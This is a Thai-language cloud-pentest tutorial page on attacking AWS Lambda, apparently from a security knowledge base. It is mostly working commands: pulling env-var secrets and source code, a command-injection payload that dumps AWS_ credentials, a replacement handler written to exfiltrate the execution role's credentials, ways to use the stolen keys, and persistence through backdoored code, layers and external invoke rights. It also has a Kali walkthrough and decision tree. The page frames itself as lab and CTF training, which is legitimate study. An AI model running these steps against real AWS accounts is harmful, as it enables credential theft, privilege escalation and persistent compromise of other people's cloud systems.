คลัง
cloud

AWS Lambda & Serverless Attacks

Lambda & Serverless Attacks ครอบคลุมการโจมตี AWS Lambda: การดึง source code + env variable (มัก leak secret), การ inject ผ่าน event (SQLi/SSRF/command injection ใน handler), การยกสิทธิ์ผ่าน Lambda execution role, การ persist (layer/trigger), และ event injection จาก trigger ต่างๆ บทนี้มีคำสั่งครบ + lab + troubleshooting (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาตเท่านั้น)

IntermediateAdvanced#aws#lambda#serverless#cloud#rce#privesc#ctf#pentest

1. หลักการ

Lambda รันโค้ดแบบ serverless ตอบสนอง event (API Gateway, S3, SQS ฯลฯ) แต่ละ function รันด้วย execution role (IAM role) และมี environment variables ที่มัก hardcode secret จุดโจมตี: ดึง code+env (เห็น secret), inject ผ่าน event ที่ handler ไม่ validate, และ abuse execution role ที่กว้างเกิน

เนื้อหานี้เพื่อฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab, cloud pentest) เท่านั้น

2. Enumerate + ดึง Code & Env

list + ดึง configuration (env vars)
# list functions
aws lambda list-functions --query 'Functions[].FunctionName'

# ดู config + ENV VARIABLES (มัก leak secret!)
aws lambda get-function-configuration --function-name <fn> \
  --query 'Environment.Variables'

# ดึง source code (presigned URL)
aws lambda get-function --function-name <fn> --query 'Code.Location' --output text
# → ได้ URL, wget มาแตก
wget -O code.zip "<url>" && unzip code.zip -d code
grep -rnE 'password|secret|api[_-]?key|AKIA|flag|conn' code
env variable ของ Lambda เป็นจุดทอง — มัก hardcode DB connection string, API key, secret ดู Environment.Variables ก่อนเสมอ

3. Event Injection (SSRF/RCE ใน Handler)

Lambda ที่รับ event จาก API Gateway = รับ input จากผู้ใช้ ถ้า handler เอา input ไปใช้โดยไม่ validate → injection เหมือน web (command injection, SSRF, SQLi) แต่รันใน execution environment ที่มี credential

ทดสอบ injection ผ่าน event
# ดึง credential ของ execution role จาก env (ภายใน Lambda)
# ถ้า command injection ได้:
#   env | grep AWS_   → AWS_ACCESS_KEY_ID / SECRET / SESSION_TOKEN
#   (Lambda inject credential ของ role เป็น env var อัตโนมัติ)

# invoke ตรงเพื่อทดสอบ payload
aws lambda invoke --function-name <fn> \
  --payload '{"cmd":"id; env | grep AWS_"}' out.json
cat out.json

# SSRF ใน Lambda → ดึง credential จาก metadata-equivalent
# (Lambda ใช้ env var ไม่ใช่ IMDS แต่ถ้า code fetch URL ได้ = SSRF ออกไปที่อื่น)

4. Execution Role Privilege Escalation

ดึง credential ของ role แล้ว pivot
# 1. ดู role ที่ function ใช้
aws lambda get-function-configuration --function-name <fn> --query 'Role'

# 2. ถ้า invoke ได้ + แก้ code ได้ → ใส่โค้ด exfil credential
cat > exfil.py <<'PY'
import os, urllib.request, json
def handler(e,c):
    creds = {k:v for k,v in os.environ.items() if k.startswith('AWS_')}
    return creds   # หรือ POST ไป attacker
PY
zip f.zip exfil.py
aws lambda update-function-code --function-name <fn> --zip-file fileb://f.zip
aws lambda invoke --function-name <fn> out.json && cat out.json

# 3. ใช้ credential ที่ได้ (มีสิทธิ์ของ execution role)
export AWS_ACCESS_KEY_ID=... AWS_SECRET_ACCESS_KEY=... AWS_SESSION_TOKEN=...
aws sts get-caller-identity
ถ้ามี lambda:UpdateFunctionCode + lambda:InvokeFunction บน function ที่ role สิทธิ์สูง = privesc ทันที (แก้ code → ดึง credential → ใช้สิทธิ์ role)

5. Persistence

  • Lambda layer: inject malicious layer ที่ทุก function โหลด
  • Trigger: เพิ่ม trigger (S3 event/schedule) ให้ function รันเอง
  • Resource policy: เพิ่ม permission ให้ external account invoke
  • Backdoor code: แก้ function ที่รันบ่อยให้ทำงานเพิ่ม (เงียบๆ)

6. Lab Walkthrough

  1. 1มี credential สิทธิ์จำกัด → aws lambda list-functions เจอ function 'process-data'
  2. 2ดู env: get-function-configuration --query Environment.Variables → เจอ DB_PASSWORD, API_KEY
  3. 3ดึง code: get-function --query Code.Location → wget → grep เจอ logic + hardcoded secret
  4. 4ถ้า role กว้าง: update-function-code ใส่ exfil → invoke → ได้ credential ของ execution role
  5. 5pivot: ใช้ credential นั้นทำต่อ (S3/IAM/Secrets) ตามสิทธิ์ role
  6. 6flag มักอยู่: env variable, code, หรือ resource ที่ role เข้าถึง

7. Troubleshooting

อาการสาเหตุ / แก้
get-function: AccessDeniedขาด lambda:GetFunction — ลอง list/get-configuration แทน
invoke ได้แต่ไม่เห็น outputดู CloudWatch Logs (/aws/lambda/) หรือ return ค่าตรง
update-code: AccessDeniedขาด UpdateFunctionCode — ลอง path อื่น (env อ่านได้ไหม)
credential ใช้ไม่ได้execution role credential = temp (มี session token, หมดเร็ว)
code.zip แตกไม่ได้อาจเป็น container image — ดึงจาก ECR แทน

8. Indicators & Quick Reference

สัญญาณ: API Gateway endpoint (มัก backed by Lambda), env variable ที่มี secret, execution role ที่กว้าง, lambda:UpdateFunctionCode = privesc
  • เริ่ม: list-functions → get-function-configuration (env!) → get-function (code)
  • env variable = จุดทอง (DB password, API key)
  • UpdateFunctionCode + InvokeFunction + role สูง = privesc
  • credential ของ role อยู่ใน env: AWS_ACCESS_KEY_ID/SECRET/SESSION_TOKEN
  • เชื่อม: Lambda → IAM privesc (ดูหัวข้อ AWS IAM Privilege Escalation)

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติเพิ่งเจอโจทย์นี้: อาจมี AWS credential ที่เข้าถึง Lambda ได้ หรือเจอ HTTP endpoint (API Gateway) ที่ backed ด้วย Lambda อยู่บนหน้าเว็บ มีแค่เครื่อง Kali เปล่า ๆ ทำตามนี้ทีละขั้น

  1. 1ถ้ามี credential ก่อน: พิมพ์ aws lambda list-functions --profile target — ถ้าได้รายชื่อ function กลับมา = มีสิทธิ์เข้าถึง Lambda
  2. 2ดู environment variables ของแต่ละ function (มัก leak secret): aws lambda get-function-configuration --function-name <fn> --query 'Environment.Variables'
  3. 3ดึง source code: aws lambda get-function --function-name <fn> --query 'Code.Location' --output text แล้ว wget -O code.zip "<url>" && unzip code.zip -d code
  4. 4grep หา secret ในโค้ด: grep -rnE 'password|secret|api[_-]?key|AKIA|flag' code/
  5. 5ถ้าไม่มี credential เลย แต่เจอ URL ที่หน้าเว็บเรียกใช้ (API Gateway) ให้ลองยิง payload ตรง ๆ ด้วย curl ดูว่า handler validate input ไหม (command injection/SSRF)
  6. 6เช็คว่ามีสิทธิ์แก้ code ไหม: ลอง aws lambda update-function-code --function-name <fn> --zip-file fileb://f.zip ด้วย zip ที่มีโค้ด env | grep AWS_ ฝังไว้
  7. 7invoke แล้วอ่านผล: aws lambda invoke --function-name <fn> out.json && cat out.json — ถ้าเห็น AWS_ACCESS_KEY_ID/SECRET/SESSION_TOKEN = ได้ credential ของ execution role
  8. 8export credential ที่ได้แล้วเช็คสิทธิ์ใหม่: export AWS_ACCESS_KEY_ID=... AWS_SECRET_ACCESS_KEY=... AWS_SESSION_TOKEN=... แล้ว aws sts get-caller-identity
  9. 9ถ้าสิทธิ์ของ role กว้างกว่าเดิม ให้ enumerate ต่อด้วย pacu iam__privesc_scan เหมือนหัวข้อ IAM privesc
  10. 10หา flag/secret สุดท้ายใน env variable, source code, หรือ resource อื่นที่ execution role เข้าถึงได้ (S3/Secrets Manager)
Decision tree: เจอ Lambda แล้วทำไงต่อ
มี AWS credential ที่เรียก lambda list-functions ได้ไหม
✅ ได้ (list เห็น function)enum-lambda
❌ ไม่มี credential เลยcheck-endpoint
เจอ HTTP endpoint (API Gateway) ที่ backed ด้วย Lambda ไหม
ดูจาก web recon: URL รูปแบบ execute-api.<region>.amazonaws.com หรือ custom domain
✅ เจอ endpointevent-injection
❌ ไม่เจอทางไหนเลยทางตัน — กลับไปหา entrypoint อื่นในหน้าเว็บ หรือหา credential ผ่านช่องทางอื่นก่อน
ยิง payload ทดสอบ handler (command injection/SSRF)
curl ใส่ input แปลก ๆ ดูว่า handler validate ไหม
✅ ได้ RCE / อ่านค่าที่ไม่ควรอ่านได้got-rce
❌ handler validate ดี ไม่หลุดทางตัน — ลอง parameter/field อื่นของ event หรือ pivot ไปช่องโหว่ web อื่นบนเว็บเดียวกัน
list ได้ → ดู env vars ของแต่ละ function
✅ เจอ secret ใน env (DB password/API key)secret-found
❌ ไม่เจอ secret ใน envcheck-code
เจอ secret แล้ว — ใช้ต่อยอด
ลอง login เข้า service ที่ secret นี้เป็นของ (DB/API ภายนอก) หรือหา flag ตรงนั้นเลย
ดึง source code (get-function) แล้ว grep หา secret/logic
✅ เจอ secret/logic ที่ใช้ได้secret-found
❌ โค้ดสะอาด ไม่มีอะไรหลุดcheck-update-perm
เช็คว่ามี lambda:UpdateFunctionCode + lambda:InvokeFunction ไหม
✅ มีทั้งคู่exfil-role
❌ ไม่มี (อ่านได้อย่างเดียว)ทางตัน สำหรับ privesc — แต่สิทธิ์อ่าน env/code ที่มีอาจพอหา flag ได้แล้ว
แก้ code ใส่ exfil แล้ว invoke ดึง credential ของ execution role
✅ ได้ credential ของ rolegot-role-creds
❌ update-function-code AccessDeniedไม่มีสิทธิ์แก้ code จริง ๆ — กลับไปดูว่า role เข้าถึง resource อื่นอะไรได้บ้างแทน
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
เรียก Lambda API (list/get-function/invoke)aws-clisudo apt install awscli -y-
ยิง payload เข้า API Gateway endpointcurl--
หา privesc path จาก execution role credential ที่ได้-pacu (iam__privesc_scan)-
สแกน misconfig ทั้ง account-ScoutSuite-
brute-force สิทธิ์ที่เรียกได้ของ credential ใหม่-enumerate-iam-
แกะ JSON response / policy ที่ดึงมาได้jq-CyberChef
ฝึกโจทย์ serverless จำลองก่อนลงจริง--flaws.cloud, hackingthe.cloud
🚑 ถ้าตันสนิท ลองท่าถัดไป: ลองดู aws-iam-privesc ถ้าได้ execution role credential มาแล้วอยากยกระดับสิทธิ์ต่อ, ลอง aws-s3-attacks ถ้า function/role เข้าถึง S3 bucket ได้, ลอง kubernetes-attacks ถ้า workload จริง ๆ รันบน container/EKS แทน Lambda, ถ้าไม่มีทางเข้าเลยตั้งแต่แรกลองกลับไปที่ ssrf เพื่อหา metadata endpoint จาก web app

หัวข้อที่เชื่อมโยง

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้